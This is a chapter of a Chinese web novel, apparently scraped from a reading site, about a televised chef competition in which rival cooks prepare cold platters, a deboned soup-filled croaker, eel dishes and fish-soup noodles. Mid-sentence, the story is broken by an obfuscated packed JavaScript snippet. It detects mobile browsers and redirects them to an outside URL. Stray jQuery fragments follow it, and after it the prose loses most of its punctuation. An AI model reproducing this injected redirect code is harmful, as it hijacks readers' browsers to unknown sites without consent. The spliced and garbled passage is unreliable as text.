这盘大凉菜出来没多久，宝华楼上了一盘小而朴素的凉菜。


    小瓷盘里橘红色海米和白色半透明的豆芽配上翠绿的香菜杆，炝拌在一起，极致的简单，却让人看着清爽有食欲。


    镜头对准四道凉菜，本来重头菜都是放在热菜，今天凉菜的竞争就已经白热化。


    宝华楼是繁复和简约的搭配，陆培德这里是清雅和华丽。


    杨裕合夹起一片凤尾上的红色鸭脯，吃进嘴里，鸭肉细嫩，香味醇厚却没有盖过鸭肉，他说：“这是你们店里重庆白卤鸭的配方？”


    “是，加了红曲粉调色。”张骏明点头。


    这只凤凰有九种颜色不同的食材，评委们一样一样尝下来，从脆香的野鸡卷到有嚼劲的卤牛筋，粉糯盐水猪肝，鲜香的肉蛋卷……


    “你这等于是做了十个凉菜。”杨裕合说。


    “没说不行吧？”张骏明问。


    “当然可以啦！”


    张骏明看向岳宁说：“这个主意是宁宁出的，陆大厨虽然有宁宁搭班，但是宁宁被限制在只能切配洗，陆大厨一个人不可能做特别复杂的菜，我们就来个特别复杂的。”


    他又得意地说：“我们这里，虽然以我的名义参赛，但是阿星的手艺比我高，他的刀工本来已经是宝华楼第一了。而且他在内地的时候，背了很多菜谱，只是没有人很好指点他。来了港城，有我师傅和宁宁，还参加大赛，他做菜的手艺越来越高。这道菜，野鸡卷和牛筋都是他做的，切和装盘也基本都是他。等下那道‘年年有余’，你们可要仔细看了。”


    “马大厨，等下可要看你了！”主持人跟马耀星说。


    马耀星一直认真地配合张骏明，他希望张骏明能拿厨王，不是因为这个厨王的荣耀，而是他们在大赛上走得越远，宁宁就会花更多的心思在他们俩身上，跟他们一起研究做菜。


    阿邦想多炒菜多挣钱，罗国强想要证明他是国厨后人，他就想学做菜，做好菜。


    这几次参赛，他基本上不发言，现在话筒到他面前，马耀星手足无措，憋出一个字：“嗯！”


    陆培德的两道凉菜已经够出色，但是宝华楼这道菜，无论是口味还是刀工还是摆盘都足够出色，综合评分后，这一场他落后了，还落后了好几分。


    完全不像前面两场，陆培德碾压式的胜利，而且张大厨让大家仔细看‘年年有余’。这下大家对下面热菜比赛期待感


    拉满。


    张骏明去水产那里要了一条去鳞去腮，不去内脏的大黄鱼，陆培德要了去内脏不去鱼鳞的六条小鲫鱼。


    张骏明把大黄鱼拿了回去给马耀星。


    马耀星先用筷子从鱼嘴里伸进去去掉了鱼内脏，拿出一把一尺长，两指宽的竹刀。用这把竹刀对比了一下鱼身。


    “灌汤大黄鱼？”何大厨问道。


    “肯定是了。”杨裕合说道，“这道菜也算是宁宴的招牌了。黄鱼去骨虽然难，但是总比鸽吞翅的乳鸽拆骨简单吧？”


    果然马耀星开始拆骨，他竹刃紧贴鱼身，刀尖在鱼头与鱼身连接处轻轻一划，精准地切断鱼骨与鱼头相连的关节，他再沿着鱼骨与鱼肉相连的部位，缓缓推进刀刃，保证将鱼肉与鱼骨完整分离，又不会划破鱼皮。


    当一侧鱼肉与鱼骨完全分离后，大厨小心地将鱼翻面，用同样的方式处理另一侧。此时，黄鱼的鱼骨已大部分与鱼肉脱离，仅在鱼尾处还稍有连接。马耀星手指压住鱼尾，竹刃切断鱼骨和鱼尾的连接。完整的鱼骨被抽了出来，放在了盘子里。


    马耀星把一杯葱姜水倒入拆骨后的黄鱼里，黄鱼果然滴水不漏。


    “张大厨和岳宁都在黄鳝去骨。两家都要做炒软兜？”专业评委何大厨问。


    “应该是吧？”杨裕合点头。


    “为什么把炒鳝鱼叫炒软兜？”许乐梅问。


    杨裕合再次卖弄起他广博的学识来：“有这个么传说，乾隆年间，黄河夺淮入海，洪水泛滥。乾隆的贵妃娘娘之父，高斌任河道总督，正在总督府办鳝鱼宴，刚好圣旨到了。乾隆十分着急灾情，圣旨里有一句“吃不了，兜着走！”，那厨师听了，想着皇帝还能把老丈人怎么了？还能让高大人硬兜了？刚好在做炒鳝鱼，就把这菜叫‘炒软兜长鱼’。”


    岳宁鳝鱼骨剔好了，走到陆培德身边，把鳝鱼骨给他。


    陆培德在油锅里下了猪油和豆油，他手里拿着一盘没有去鳞的小鲫鱼，说：“谢谢。”


    “做东台鱼汤面？”岳宁问。


    “嗯！面团我揉了三个，两个放一起是做烧饼的，你帮我做成坯子，还有一个是做面条的，你也帮我擀了？”陆培德问。


    “好的。”岳宁转身去冰箱拿面团。


    油锅热了，陆培德把小鲫鱼下了锅里。


    “鲫鱼不去鳞下油锅是要做什么？”何大厨问。


    “岳宁把鳝鱼骨给了陆大厨，


    陆大厨不是做炒软兜吗？”专业评委龚大厨问。


    “这就要问裕合了。”许乐梅说。


    杨裕合摇头：“我也不知道，你们问岳宁吧？”


    岳宁刚刚换了干净的案板，准备揉面，话筒到了她面前，她问：“陆哥，可以说吗？”


    正在炸小鲫鱼的陆培德点头：“当然。”


    岳宁边揉面边说：“陆哥要做一碗已经有两百多年历史，曾经得过巴拿马金奖的面条。”


    许乐梅问杨裕合：“裕合，你知道吗？”


    这下可问倒杨裕合了，他说：“还是让岳宁说吧！”


    “江苏东台的鱼汤面，刚才杨叔不是说了吗？河道总督做鳝鱼宴，那一带就擅长做鳝鱼。1915年，它获得了巴拿马国际博览会金奖。具体做法，我还是不说了，等下大家尝了就知道，它当不当得起这个金奖了。”岳宁说道。


    “他是在熬鱼汤？为什么不放葱姜？”何大厨疑惑地问。


    岳宁揪着饼坯说：“传统东台鱼汤面的汤，就是熬制过程中不放盐、不放葱姜，靠的就是吊汤师傅的煸炒功力，靠着火候去腥，汤成浓厚，不分层不出油，香气四溢。陆家的绝技就是吊汤。你们今天就不要让我跟陆哥比吊汤了。”


    在场的人听得哈哈大笑，陆培德不知道大家笑什么，转头看她，岳宁做着饼，跟他说。


    “你吊汤也未必比我差，我炒菜的功夫，却是实实在在不行。”陆培德捞起已经炸酥的小鲫鱼看，再次把鲫鱼放入油锅，把手边的鳝鱼骨也加进油锅里。


    “还是想知道，为什么小鲫鱼不去鳞片？”


    “鳞片有胶质，让鱼汤更加浓稠。”岳宁说。


    他们对过马耀星还在处理鳝鱼，他黄鳝去骨了，居然还在把鳝鱼皮给去了。


    去了皮，就不是他知道的炒软兜了，何大厨说：“炒软兜可不用剥鳝鱼皮。”


    到底是极度爱美食，还见多识广的杨裕合，他说：“这是湘菜子龙脱袍。子龙就是赵子龙，将军


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915535|176918||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    脱战袍的意思。”


    “今天我们都没猜对啊！”


    “反正宝华楼这个年年有余，肯定是灌汤黄鱼加上年糕。这总归不会错了吧？”杨裕合说道。


    陆培德已经炸好了鲫鱼和鱼骨，加了猪骨和热水开始熬鱼汤。


    他开始在漏勺里摆放已经处理干净，并且已经在高汤里煮过的羊八件。


    “陆大厨为什么要把羊八件整齐地排在漏勺里？


    ”


    “你看他把羊八件排列整齐这些料原样进锅经过红扒之后形态丝毫不变。


    “就算是形状变了起锅的时候重新摆盘不就行了？”


    “那就不是扒了扒就是原样进原样出整个肘子整只鸡扒叫整扒


    陆培德在锅里放入香料和葱姜爆香再加入高汤煮开捞出香料葱姜把羊八件在高汤里烫了几分钟。


    他倒出了一半高汤再把羊八件整齐地推进高汤里。


    “他直接把羊八件放进去煮不就行了吗？还用漏勺烫做什么？”许乐梅搞不清楚。


    陆培德转头：“宁宁可以烤烧饼了。”


    “好。”岳宁放下擀面杖把烧饼坯放进烤箱。


    “让岳宁做烧饼？不是说好了她只能配合做辅助吗？她这是在做点心了？”许乐梅问。


    主持人听见这个说法立马过去问岳宁。


    “我做扒海羊配的芝麻烧饼油皮油酥都是陆哥做好的我就给他做好饼子烤一下。”岳宁解释“这就是辅助工作啊！”


    陆培德把刚才烫过羊八件高汤倒入另外一个锅里把已经发好的整翅倒入锅里。


    “高汤是用鸡骨和猪骨吊的他把羊八件放进去烫是为了让高汤里有羊味。”


    “快看快看。宁宴的灌汤黄鱼不是清蒸的吗？这个马大厨在把填了满肚子皮冻和蟹粉的黄鱼煎啊？他真不怕黄鱼破皮？里面的汁水全流出来？”何大厨一颗心替马耀星提了起来。


    只见马耀星稳稳地把那条黄鱼给翻了个面还往锅里加了用蟹壳和鸡骨架熬出来的汤汁。


    他这不是用清蒸而是用家烧的办法。这个也太大胆了鱼在翻动过程当中鱼皮破前功尽弃封住鱼鳃那里的虾泥脱落前功尽弃。这个难度可比清蒸或者放在油锅里炸大了不知道多少。


    这边是灌汤的黄鱼煎烧那边陆培德给切得鸡零狗碎的羊八件来了个大翻勺食材一百八十度翻转形状不散。


    观众看得眼花缭乱专业评委惊叹：“今天是神仙打架啊！”


    烧到这个时候一个是鱼和蟹的鲜香一个是的鱼翅和羊肉的浓香两者混合在一起勾起了在场所有人肚里的馋虫。


    马耀星从黄鱼锅了舀了两勺汁水到另外一个锅里加入了年糕。


    “那边是鱼翅要有羊味这边是年糕要有鱼蟹味。”专业评委说道。


    马耀星稳稳地把整条甚至那个肚子看上去有些颤颤巍巍的黄鱼倒入盘中。他再用筷子把年糕一块一块排在黄鱼两侧。


    烧黄鱼的汁水烧过年糕后已经变得粘稠这个汁水再淋在黄鱼上。


    他举手：“年年有余完成！”


    这道菜到评委面前。


    鱼形态完整肚子鼓鼓地边上围着一圈被酱汁裹住的年糕散发着浓郁的香气。


    何大厨把餐刀递给杨裕合：“你来？”


    杨裕合把餐刀给许乐梅：“女士来。”


    “菜要趁热。”许乐梅也不推辞拿刀划开的黄鱼肚子裹挟了蟹粉的汤汁如决堤的洪水般奔涌而出……